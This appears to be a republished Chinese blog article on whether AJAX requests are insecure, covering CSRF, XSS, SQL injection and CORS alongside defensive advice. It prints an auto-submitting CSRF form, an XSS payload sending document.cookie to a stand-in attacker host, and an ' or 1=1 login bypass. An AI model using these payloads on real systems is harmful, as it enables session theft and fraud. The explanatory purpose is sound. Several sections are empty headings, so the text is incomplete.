AJAX 三连问,你能顶住么?
Posted Java技术栈
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了AJAX 三连问,你能顶住么?相关的知识,希望对你有一定的参考价值。
开篇三问
-
AJAX请求真的不安全么? -
AJAX请求哪里不安全? 怎么样让AJAX请求更安全?
前言
本文包含的内容较多,包括AJAX,CORS,,等内容,要完整的看完并理解需要付出一定的时间。
另外,见解有限,如有描述不当之处,请帮忙及时指出。
正文开始...
从入坑前端开始,一直到现在,AJAX请求都是以极高的频率重复出现,也解决过不少AJAX中遇到的问题,如跨域调试,错误调试等等。
从这种,发现了一个共通现象:那就是每次和后台人员对接时,他们都会提到AJAX请求不安全,请用普通http请求!
虽然很多时候,都是经过多翻口舌之争后,最终后台那边妥协,允许部分符合条件的AJAX请求。但是,我却很纠结一个问题:AJAX请求真的不安全么?为什么我自己写后台时并没有发现这个问题?
于是,开始准备搜集资料,结合自己已有的认知,整理成一份解决方案,分析AJAX请求真的不安全么?哪里不安全?,后续遇到类似的问题就直接向对方抛出一篇文章
大纲
-
AJAX请求真的不安全么 -
AJAX不安全的说法从何而来 -
常见的几种Web前端安全问题 -
CSRF简介 -
CSRF与AJAX的关系 -
XSS简介 -
XSS与AJAX的关系 -
SQL注入简介 -
SQL注入与AJAX的关系 -
AJAX和HTTP请求的区别 -
CORS与AJAX安全性之间的关联 -
CORS与AJAX关系的简介 -
为什么要配置CORS? -
CORS会配置些什么信息? -
CORS Origin: *的安全性 -
再看,AJAX请求真的不安全么? -
AJAX请求哪里不安全? 怎么样让AJAX请求更安全?
AJAX请求真的不安全么
首先,先说一个定论:AJAX请求是否安全,由服务端(后台)决定
有这样一个说法:如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的
为何会有这种说法?因为在Web应用中,客户端输入不可信是一个基本原则
AJAX不安全的说法从何而来?
在AJAX出现时,那时的服务端还是很古老的那一批,因此完全没有考虑到AJAX出现后,前端请求方式会变得异常复杂,造成以前的安全策略已经无法满足要求了,导致大批的后台安全漏洞曝光。。。
很显然,都是因为AJAX出现后曝光了更多的安全漏洞,导致它看起来很危险(因为AJAX出现后,请求方式变多了,以前的架构在新的请求中就可能出现更多漏洞)
So,AJAX不安全的说法自然扩散到了各个角落。
常见的几种Web前端安全问题
1.XSS(跨站脚本攻击)(cross-site scripting)
-> 伪造会话(基于XSS实现CSRF)
-> 劫持cookie
-> 恶意代码执行
2.CSRF(跨站请求伪造)(cross-site request forgery)
-> 伪造用户身份操作
3. SQL注入
...(其它暂且不提)
CSRF简介
-
采用cookie来进行用户校验 -
登录受信任网站A,并在本地生成Cookie 在不登出A的情况下,访问危险网站B
// 1.譬如在网站内的图片资源中潜入恶意的转账操作
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
// 2.构建恶意的隐藏表单,并通过脚本提交恶意请求
<iframe style="display: none;" name="csrf-frame"></iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
<input type='hidden' name='toBankId' value='hello'>
<input type='hidden' name='amount' value='1000000'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
CSRF与AJAX的关系
就算强行开启withCredentials,携带跨域,但是由于服务端并不会单独配置网站B的跨域(需配置Access-Control-Allow-Credentials: true,而且这时候不允许设置Allow-Origin: *),所以肯定认证失败
简介
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post">
请输入评论内容: <BR>
<input name="content" type="text">
<input type="submit" value="确认">
</form>
然后攻击者分析后,输入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
-
譬如市面上盛行的网页游戏弹窗等。 -
譬如干脆直接让这个页面卡死都可以。 譬如无限循环。
-
输入过滤,不信任用户的任何输入,过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等,还得考虑攻击者使用十六进制编码来输入脚本的方式。 -
输出进行编码,和输入过滤类似,不过是从输出上着手,数据输出到页面时,经过HtmlEncoder等工具编码,这样就不会存在直接输出可执行的脚本了 -
cookie设置http-only,这样用脚本就无法获取了 (这样只有浏览器向Web服务器发起请求的时才会带上字段,避免了XSS攻击利用JavaScript的document.cookie获取) -
Cookie防盗,尽可能地避免在Cookie中泄露隐私,如用户名、密码等;
或者,为了防止重放攻击,可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。 注意,特别是后台,一定不能信任前端的输入,需要过滤与校验
XSS与AJAX的关系
SQL注入简介
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post">
请输入用户名与密码: <BR>
<input name="name" type="text">
<input name="password" type="text">
<input type="submit" value="登陆">
</form>
在接收到登陆请求后,服务端的实际执行代码时是:
String sql = " SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
然而有攻击者分析出后台可能存在漏洞,尝试sql注入攻击,输入
name = ' or 1=1
password = anything
那么这样,后台接收到数据后,实际上查询的结果是 SELECT * FROM users WHERE name = ' ' or 1= 1 AND password = 'anything'
故而,攻击者成功的绕过的用户名,利用后台漏洞登陆了。
SQL注入与AJAX的关系
AJAX和HTTP请求的区别
-
AJAX请求受到浏览器的同源策略限制,存在跨域问题 -
AJAX在进行复杂请求时,浏览器会预先发出OPTIONS预检(HTTP自己是不会预检的) -
从使用角度上说,AJAX使用简单一点,少了些底层细节,多了些浏览器特性(如自动带上同域cookie等) 所以说,和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已(浏览器会有自己的预处理,加上特定限制)
CORS与AJAX安全性之间的关联
CORS与AJAX关系的简介
// 在CORS中专门作为Origin信息供后端比对,表示来源域。
Origin: http: //xxx
Access-Control-Request-Headers: X-Requested- With
// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中,一般POST请求中就会带上
Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
为什么要配置CORS?
CORS会配置些什么信息?
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
CORS Origin: *的安全性
Access-Control-Allow-Origin: http: //xxx
但是这个配置只允许特定域名访问,鉴于前端的复杂性,有时候调试起来不是很方便,因此有时候,会偷懒的设置为:
Access-Control-Allow-Origin: *
这个代表所有来源的跨域AJAX请求都能正常响应。
// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *
192.168.111.23/users.md
而且更重要的是,为何敏感资源就这样轻易的被获取了?为什么没有二次验证?
再看,AJAX请求真的不安全么?
AJAX请求哪里不安全?
怎么样让AJAX请求更安全?
写在最后的话
- END -
点击「阅读原文」带你飞~
以上是关于AJAX 三连问,你能顶住么?的主要内容,如果未能解决你的问题,请参考以下文章